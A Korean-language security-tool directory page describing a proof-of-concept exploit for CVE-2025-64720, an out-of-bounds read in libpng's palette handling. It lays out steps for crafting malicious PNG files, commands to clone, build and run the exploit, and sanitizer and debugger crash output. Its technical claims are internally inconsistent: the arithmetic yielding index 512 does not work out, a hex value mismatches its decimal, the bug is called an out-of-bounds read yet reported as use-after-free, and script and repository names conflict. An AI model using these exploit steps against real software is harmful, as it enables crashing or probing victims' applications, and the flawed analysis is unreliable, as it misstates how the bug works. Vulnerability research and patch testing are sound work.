Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-64720-PoC — CVE-2025-64720에 대한 개념 증명 익스플로잇입니다. 이는 libpng의 팔레트 프리멀티플리케이션에서 발생하는 버퍼 오버플로우 취약점입니다. 익스플로잇 생성기, ASan/UBSan을 포함한 테스트 하니스, 그리고 힙 사용 후 해제(heap-use-after-free) 취약점에 대한 상세 기술 분석을 포함합니다. | Kitploit
도구/GitHubGitHub/dantsco/cve-2025-64720-poc
Memory ForensicsVulnerability AnalysisExploitationFuzzingBinary AnalysisPapers & ResearchLearning & Education
GitHubdantsco/cve-2025-64720-poc

CVE-2025-64720-PoC

CVE-2025-64720에 대한 개념 증명 익스플로잇입니다. 이는 libpng의 팔레트 프리멀티플리케이션에서 발생하는 버퍼 오버플로우 취약점입니다. 익스플로잇 생성기, ASan/UBSan을 포함한 테스트 하니스, 그리고 힙 사용 후 해제(heap-use-after-free) 취약점에 대한 상세 기술 분석을 포함합니다.

저장소 보기
238개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-64720: libpng 팔레트 프리멀티플리케이션 버퍼 오버플로우

상태: 패치됨
심각도: 높음
CVE ID: CVE-2025-64720
발견 날짜: 2025-11-XX
공개 날짜: 2025-11-21

개요

요약

libpng의 png_image_read_composite 함수에서 PNG_FLAG_OPTIMIZE_ALPHA가 활성화된 팔레트 이미지를 처리할 때 범위를 벗어난 읽기 취약점이 존재합니다. png_init_read_transformations의 팔레트 합성 코드가 프리멀티플리케이션 중 배경 합성을 잘못 적용하여 단순화된 PNG API에 필요한 component ≤ alpha × 257 불변식을 위반하고 메모리 손상을 초래합니다.


취약점 세부 정보

근본 원인

png_init_read_transformations의 ~1336행에서 팔레트 확장 코드가 다음 작업을 수행합니다:

root@kitploit:~
component += (255-alpha)*png_sRGB_table[outrow[c]];

이 계산은 component 값을 최대 16,776,960(0x1000800)까지 생성하며, 여기서 (component >> 15) == 512입니다. 이후 png_image_read_composite의 PNG_sRGB_FROM_LINEAR 매크로가 배열 범위를 벗어난 접근을 수행합니다:

root@kitploit:~
png_sRGB_base[component>>15]    // png_sRGB_base[512] 접근
png_sRGB_delta[component>>15]   // png_sRGB_delta[512] 접근
// 두 배열 모두 인덱스 0-511만 있음 (크기 512)

문제 발생 조건:

  1. PNG가 투명도(tRNS 청크)와 함께 팔레트 모드(컬러 타입 3)를 사용
  2. 애플리케이션이 알파 가능 형식으로 단순화된 API를 사용
  3. PNG_FLAG_OPTIMIZE_ALPHA가 내부적으로 활성화됨
  4. 팔레트 확장이 배경 합성과 함께 프리멀티플리케이션을 수행

취약한 구성 요소

  • 파일: pngread.c, pngtrans.c
  • 함수: png_image_read_composite, png_init_read_transformations
  • 코드 경로: 단순화된 API → 알파 최적화를 사용한 팔레트 확장

불변식 위반

root@kitploit:~
예상: component ≤ alpha × 257
      (component >> 15) ≤ 511 보장 (배열 범위 내)

실제: component = 이전_값 + (255-alpha) × png_sRGB_table[RGB_값]
      alpha=0, RGB=255인 경우: component가 예상 범위를 초과할 수 있음
         
결과: (component >> 15)가 512가 될 수 있음 (범위를 벗어난 접근)

영향을 받는 버전

취약한 버전

  • 소프트웨어: libpng
  • 버전: 1.6.51 미만의 모든 버전
  • 플랫폼: Linux, Windows, macOS, BSD 등
  • 아키텍처: x86, x64, ARM, ARM64 등

패치된 버전

  • 최초 패치 버전: 1.6.51
  • 릴리스 날짜: 2025-11-21
  • 패치 커밋: 08da33b

버전 확인

root@kitploit:~
# Method 1: pkg-config
pkg-config --modversion libpng

# Method 2: Direct library query
libpng-config --version

# Method 3: Check binary
strings /usr/lib/libpng*.so* | grep -i "libpng version"

# Method 4: From source
grep PNG_LIBPNG_VER_STRING png.h

기술 분석

공격 벡터

공격자는 특정 특성을 가진 악성 PNG 파일을 제작하여 이 취약점을 악용할 수 있습니다:

  1. 공격 전제 조건:

    • 대상 애플리케이션이 libpng < 1.6.51 사용
    • 애플리케이션이 단순화된 PNG API(png_image_* 함수) 사용
    • 애플리케이션이 알파 가능 출력 형식(예: RGBA, ARGB) 요청
  2. 공격 단계:

    • tRNS 청크가 있는 팔레트 PNG(컬러 타입 3) 생성
    • 팔레트 항목을 최대 RGB 값(255, 255, 255)으로 설정
    • 여러 팔레트 항목의 알파 값을 0으로 설정
    • 피해자 애플리케이션이 알파 형식으로 PNG 처리
    • PNG_FLAG_OPTIMIZE_ALPHA가 내부적으로 활성화됨
    • 팔레트 확장이 컴포넌트 불변식 위반
    • 범위를 벗어난 배열 접근 발생
  3. 공격 결과:

    • png_sRGB_base 또는 png_sRGB_delta에서 범위를 벗어난 읽기
    • 메모리 손상으로 힙-사용-후-해제 발생
    • 애플리케이션 충돌(서비스 거부)
    • OOB 읽기를 통한 잠재적 정보 노출

메모리 레이아웃

root@kitploit:~
┌─────────────────┐
│ png_sRGB_base   │  배열 인덱스: 0-511 (512개 항목)
│ [512 entries]   │  유효 접근: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access]    │  인덱스 512 ← component ≥ 0x1000000일 때 취약한 접근
├─────────────────┤
│ png_sRGB_delta  │  배열 인덱스: 0-511 (512개 항목)
│ [512 entries]   │  동일한 OOB 접근에 취약
├─────────────────┤
│ 인접 메모리     │  잠재적 정보 노출
└─────────────────┘

오버플로우를 유발하는 계산:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]

alpha=0, palette_RGB=255일 때:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (범위를 벗어남!)

트리거 조건

필수 조건:

  • PNG 컬러 타입 3(인덱스/팔레트)
  • tRNS 청크 존재(투명도)
  • tRNS 청크의 알파 값 0
  • 팔레트의 높은 RGB 값(특히 255, 255, 255)
  • 단순화된 API 사용(png_image_finish_read)
  • 알파 가능 형식(PNG_FORMAT_ARGB, 플래그 포함 PNG_FORMAT_RGBA)

선택적 요인:

  • PNG_FORMAT_FLAG_AFIRST 플래그가 있는 형식은 충돌 가능성 증가
  • 더 큰 이미지는 버그를 트리거할 기회 증가
  • 여러 개의 제로 알파 팔레트 항목은 신뢰성 증가

트리거되지 않는 조건:

  • libpng >= 1.6.51 (패치됨)
  • 추가 플래그 없는 PNG_FORMAT_RGBA (때로는 안전)
  • 팔레트가 아닌 컬러 타입(RGB, 그레이스케일 등)
  • 투명도가 없는 팔레트
  • 모든 알파 값 = 255 (완전 불투명)

개념 증명

빠른 시작

root@kitploit:~
# Clone repository
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720

# Generate images
python3 generate-images.py

# Build test
chmod +x build.sh
./build.sh

# Run exploit (requires vulnerable libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png

PoC 구성 요소

1. 익스플로잇 생성기 (generate-images.py)

취약점을 트리거하는 악성 PNG 파일을 생성합니다.

사용법:

root@kitploit:~
python3 generate_poc.py

출력:

  • exploit_v1.png - 8x8 이미지, 균일한 흰색 팔레트, 제로 알파
  • exploit_v2.png - 8x8 이미지, 전략적인 팔레트 변형
  • exploit_v3.png - 64x64 이미지, 반복 패턴이 있는 큰 이미지
  • exploit_v4.png - 4x4 이미지, 모든 알파가 0인 최소 케이스

옵션:

root@kitploit:~
# 특정 변종 생성
generate_malicious_png('custom.png', variant=2)

# 변종:
# 1: 제로 알파와 최대 RGB 값 (신뢰성 높음)
# 2: 최대 오버플로우를 위해 설계된 전략적 팔레트
# 3: 반복 트리거 패턴이 있는 더 큰 이미지
# 4: 글로벌 버퍼 오버플로우를 대상으로 하는 최소 케이스

2. 테스트 (test.c)

단순화된 API를 사용하여 PNG 파일을 처리하고 취약점을 입증합니다.

컴파일:

root@kitploit:~
# With AddressSanitizer (recommended - best detection)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer

# With UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0

# With debugging symbols
gcc -o test_debug test.c -lpng -g -O0

# For Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline

기능:

  • 여러 알파 가능 형식 테스트(RGBA, ARGB, LINEAR_RGB_ALPHA)
  • libpng 버전 및 취약점 상태 표시
  • 확인을 위한 첫 번째 픽셀 값 표시
  • 포괄적인 오류 처리

예상 출력

취약한 버전(libpng 1.6.36)에서:

root@kitploit:~
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 0x000102b4da24 in png_safe_execute pngerror.c:944
    #1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
    #2 0x000102b34ecc in test_png test.c:64
    #3 0x000102b35410 in main test.c:97

0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
    #0 0x000103245480 in free+0x7c
    #1 0x000102b566b4 in png_free_default pngmem.c:252
    [Stack trace continues...]

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING

패치된 버전(libpng >= 1.6.51)에서:

root@kitploit:~
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

=== All tests completed ===

영향

확인된 영향

  • 서비스 거부: 악성 PNG 파일 처리 시 신뢰할 수 있는 애플리케이션 충돌
  • 메모리 손상: OOB 읽기로 인한 힙-사용-후-해제로 내부 상태 손상
  • 정보 노출: OOB 읽기를 통한 인접 메모리 내용 유출 가능성

잠재적 영향

  • 원격 코드 실행: 메모리 손상을 제어할 수 있다면 이론적으로 가능하지만, 입증되지 않음
  • 브라우저 익스플로잇: 취약한 libpng를 사용하는 웹 브라우저가 악성 사이트 방문 시 충돌할 수 있음

단계별 재현

1단계: 익스플로잇 생성

root@kitploit:~
python3 generate_poc.py

예상 출력:

root@kitploit:~
======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
    Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
    Size: 356 bytes, Dimensions: 4x4

[+] Enhanced test program: test.c
[+] Build script: build.sh

2단계: 테스트 컴파일

root@kitploit:~
chmod +x build.sh
./build.sh

예상 출력:

root@kitploit:~
[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...

[+] Build complete. Executables:
-rwxr-xr-x  1 user  staff  95KB test_asan
-rwxr-xr-x  1 user  staff  87KB test_ubsan
-rwxr-xr-x  1 user  staff  72KB test_debug
-rwxr-xr-x  1 user  staff  72KB test_valgrind

3단계: 익스플로잇 실행

root@kitploit:~
./test_asan exploit_v1.png

예상 결과 (취약 - libpng 1.6.36):

root@kitploit:~
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 png_safe_execute pngerror.c:944
    #1 png_image_finish_read pngread.c:4184
    #2 test_png test.c:64
    #3 main test.c:97

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING

예상 결과 (패치됨 - libpng >= 1.6.51):

root@kitploit:~
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
[All tests complete successfully without crashes]

대체 테스트 방법

Valgrind 사용

root@kitploit:~
gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
         ./test exploit_v1.png

예상 출력 (취약):

root@kitploit:~
==12345== Invalid read of size 8
==12345==    at 0x...: png_safe_execute (pngerror.c:944)
==12345==    by 0x...: png_image_finish_read (pngread.c:4184)
==12345==  Address 0x... is 16 bytes inside a block of size 48 free'd

GDB 사용

root@kitploit:~
gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# Program will crash

(gdb) bt
# Shows backtrace with png_safe_execute at top

(gdb) info registers
(gdb) x/32wx $rsp
# Examine memory state at crash

LLDB 사용(macOS M1-M4)

root@kitploit:~
lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# Program will crash

(lldb) bt
# Shows backtrace

(lldb) register read
(lldb) memory read -c 32 -- $sp

참고 자료

공식 출처

  • 공급업체 권고: http://www.libpng.org/pub/png/libpng.html
  • CVE 항목: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-64720
  • NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2025-64720
  • libpng 홈페이지: http://www.libpng.org/pub/png/libpng.html

기술 세부 정보

  • 버그 리포트: https://github.com/pnggroup/libpng/issues/686
  • 패치 커밋: https://github.com/pnggroup/libpng/commit/08da33b
  • 풀 리퀘스트: https://github.com/pnggroup/libpng/pull/751
  • 릴리스 노트: https://github.com/pnggroup/libpng/blob/libpng16/CHANGES

관련 취약점

  • CVE-2025-64505: 잘못된 팔레트 인덱스를 통한 png_do_quantize() 힙 버퍼 오버플로우
  • CVE-2025-64506: png_write_image_8bit() 힙 버퍼 오버리드
  • CVE-2025-65018: png_combine_row() 힙 버퍼 오버플로우
  • CVE-2019-7317: png_image_free() 사용-후-해제 (libpng < 1.6.37)

크레딧

발견

  • Samsung-PENTEST - 보안 연구원
  • weijinjinnihao - 보안 연구원
  • yosiimich - 보안 연구원

분석 및 수정

  • Fabio Gritti (Artiphishell) - 분류 및 분석
  • John Bowler - libpng 개발자, 수정 기여자
  • Cosmin Truta - libpng 유지보수자, 패치 구현

테스트

  • truediogo - PoC 개발 및 검증

법적 및 윤리적 고려 사항

면책 조항

⚠️ 중요: 이 PoC는 교육 및 연구 목적으로만 제공됩니다.

  • 이 코드는 다음 용도로 사용됩니다:

    • 보안 연구
    • 소유한 시스템의 취약점 평가
    • 학술 연구
    • 방어 조치 개발
    • 패치 검증
  • 이 코드는 다음 용도로 사용되지 않습니다:

    • 시스템에 대한 무단 접근
    • 악의적인 공격
    • 피해 또는 손상 유발
    • 불법 활동
    • 허가 없는 익스플로잇

이 코드를 사용함으로써 다음에 동의하는 것으로 간주됩니다:

  1. 소유하고 있거나 명시적인 서면 허가를 받은 시스템에서만 사용
  2. 모든 관련 법률 및 규정 준수
  3. 자신의 행동에 대한 전적인 책임
  4. 오용에 대해 저자를 책임지지 않음
  5. 책임 있는 공개 관행 준수
도구 다운로드